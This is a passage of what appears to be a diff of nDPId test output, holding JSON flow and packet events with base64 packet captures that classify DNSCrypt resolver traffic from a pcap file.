AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286137,"flow_src_last_pkt_time":946739312286137,"flow_dst_last_pkt_time":946739312286137,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286137,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":47432,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":257,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312286155} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":257,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312286137,"pkt":"REREREREZmZmZmZmCABFAABQaDUAub0RcyoKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286168,"flow_src_last_pkt_time":946739312286168,"flow_dst_last_pkt_time":946739312286168,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286168,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":54112,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_src_last_pkt_time":946739312286168,"flow_dst_last_pkt_time":946739312286168,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312286168,"pkt":"REREREREZmZmZmZmCABFAAIcaDZAAL0RMhYKAAABQlUec9NgAbsCCCOeLCgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":258,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286168,"flow_src_last_pkt_time":946739312286168,"flow_dst_last_pkt_time":946739312286168,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286168,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":54112,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286182,"flow_src_last_pkt_time":946739312286182,"flow_dst_last_pkt_time":946739312286182,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286182,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":35634,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_src_last_pkt_time":946739312286182,"flow_dst_last_pkt_time":946739312286182,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312286182,"pkt":"REREREREZmZmZmZmCABFAAXcaDcgAL0RTlUKAAABQlUec4syAbsGBCngLCcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":259,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286182,"flow_src_last_pkt_time":946739312286182,"flow_dst_last_pkt_time":946739312286182,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286182,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":35634,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":260,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312286200} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":260,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312286182,"pkt":"REREREREZmZmZmZmCABFAABQaDcAub0RcygKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286168,"flow_dst_last_pkt_time":946739312399677,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312399677,"pkt":"ZmZmZmZmRERERERECABFAADUFOhAADYRDa1CVR5zCgAAAQG702AAwE8ILCiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286003,"flow_dst_last_pkt_time":946739312400829,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312400829,"pkt":"ZmZmZmZmRERERERECABFAADUFOlAADYRDaxCVR5zCgAAAQG72lgAwEgMLCyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286028,"flow_dst_last_pkt_time":946739312401005,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312401005,"pkt":"ZmZmZmZmRERERERECABFAADUFOpAADYRDatCVR5zCgAAAQG7vUAAwGUnLCmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} @@ -528,24 +458,18 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":104,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402248,"flow_src_last_pkt_time":946739312402248,"flow_dst_last_pkt_time":946739312402248,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402248,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":49186,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_src_last_pkt_time":946739312402248,"flow_dst_last_pkt_time":946739312402248,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312402248,"pkt":"REREREREZmZmZmZmCABFAAXc7t4gAL0R6HAKAAABXV\/ipcAiAbsGBEBnx+kBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":104,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402248,"flow_src_last_pkt_time":946739312402248,"flow_dst_last_pkt_time":946739312402248,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402248,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":49186,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":266,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312402267} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":266,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312402248,"pkt":"REREREREZmZmZmZmCABFAABQ7t4Aub0RDUQKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":105,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402318,"flow_src_last_pkt_time":946739312402318,"flow_dst_last_pkt_time":946739312402318,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402318,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58113,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_src_last_pkt_time":946739312402318,"flow_dst_last_pkt_time":946739312402318,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312402318,"pkt":"REREREREZmZmZmZmCABFAAXc7t8gAL0R6G8KAAABXV\/ipeMBAbsGBB2Gx+sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":105,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402318,"flow_src_last_pkt_time":946739312402318,"flow_dst_last_pkt_time":946739312402318,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402318,"l3_proto":"ip4","src_ip":"10.0.0.1","ds